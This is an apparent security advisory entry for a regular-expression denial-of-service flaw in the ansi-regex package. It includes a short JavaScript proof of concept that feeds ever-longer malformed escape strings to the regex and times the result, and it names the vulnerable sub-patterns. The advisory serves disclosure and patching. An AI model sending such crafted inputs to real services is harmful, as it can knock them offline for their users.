Lucene search

K
osvGoogleOSV:GHSA-93Q8-GQ69-WQMW
HistorySep 20, 2021 - 8:20 p.m.

Inefficient Regular Expression Complexity in chalk/ansi-regex

2021-09-2020:20:09
Google
osv.dev
391

0.004 Low

EPSS

Percentile

73.6%

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.

Proof of Concept

import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*